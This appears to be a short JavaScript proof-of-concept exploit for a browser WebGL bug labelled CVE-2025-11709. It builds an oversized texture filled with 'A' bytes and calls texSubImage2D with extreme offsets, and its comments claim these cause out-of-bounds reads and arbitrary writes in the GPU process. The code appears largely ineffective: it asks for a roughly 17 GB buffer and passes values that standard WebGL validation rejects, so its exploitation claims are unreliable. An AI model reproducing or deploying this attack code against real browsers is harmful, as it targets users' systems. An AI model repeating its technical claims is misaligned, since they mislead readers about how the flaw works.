// CVE-2025-11709 PoC - WebGL Texture Out-of-Bounds Read/Write
// This PoC demonstrates the vulnerability by creating a WebGL texture
// with manipulated parameters to trigger out-of-bounds memory access
// in the privileged GPU process.
// Step 1: Get WebGL2 context (or WebGL1 fallback)
const canvas = document.createElement('canvas');
document.body.appendChild(canvas);
const gl = canvas.getContext('webgl2') || canvas.getContext('webgl');
if (!gl) {
console.error('WebGL not supported');
} else {
// Step 2: Create a texture with crafted dimensions
// The vulnerability lies in insufficient bounds checking
// when processing texture data in the GPU process
const texture = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, texture);
// Step 3: Set texture parameters with manipulated values
// Use unusual width/height combinations to trigger OOB access
const maliciousWidth = 0xFFFF; // Abnormally large width
const maliciousHeight = 0xFFFF; // Abnormally large height
canvas.width = maliciousWidth;
canvas.height = maliciousHeight;
// Step 4: Upload texture data that will cause OOB read/write
// The crafted pixel data exploits the missing bounds validation
// in the IPC handler between content and GPU processes
const pixelData = new Uint8Array(maliciousWidth * maliciousHeight * 4);
// Fill with pattern that maximizes memory corruption impact
for (let i = 0; i < pixelData.length; i++) {
pixelData[i] = 0x41; // 'A' pattern
}
try {
// Trigger the vulnerable code path
gl.texImage2D(
gl.TEXTURE_2D,
0, // level
gl.RGBA, // internalformat
maliciousWidth, // width - triggers OOB
maliciousHeight, // height - triggers OOB
0, // border
gl.RGBA, // format
gl.UNSIGNED_BYTE, // type
pixelData // pixels
);
// Step 5: Render to trigger the OOB access in GPU process
gl.clearColor(1.0, 0.0, 0.0, 1.0);
gl.clear(gl.COLOR_BUFFER_BIT);
console.log('Texture uploaded - vulnerability triggered');
} catch (e) {
console.error('Error:', e.message);
}
// Step 6: Additional exploitation via texSubImage2D
// This can be used to write to arbitrary memory locations
// in the GPU process via manipulated offset parameters
const subTexture = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, subTexture);
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, 1, 1, 0, gl.RGBA, gl.UNSIGNED_BYTE,
new Uint8Array([255, 0, 0, 255]));
// Manipulated xoffset/yoffset to write beyond texture bounds
gl.texSubImage2D(
gl.TEXTURE_2D,
0,
0x7FFFFFFF, // xoffset - extreme value for OOB write
0x7FFFFFFF, // yoffset - extreme value for OOB write
1, 1,
gl.RGBA,
gl.UNSIGNED_BYTE,
new Uint8Array([0, 255, 0, 255])
);
}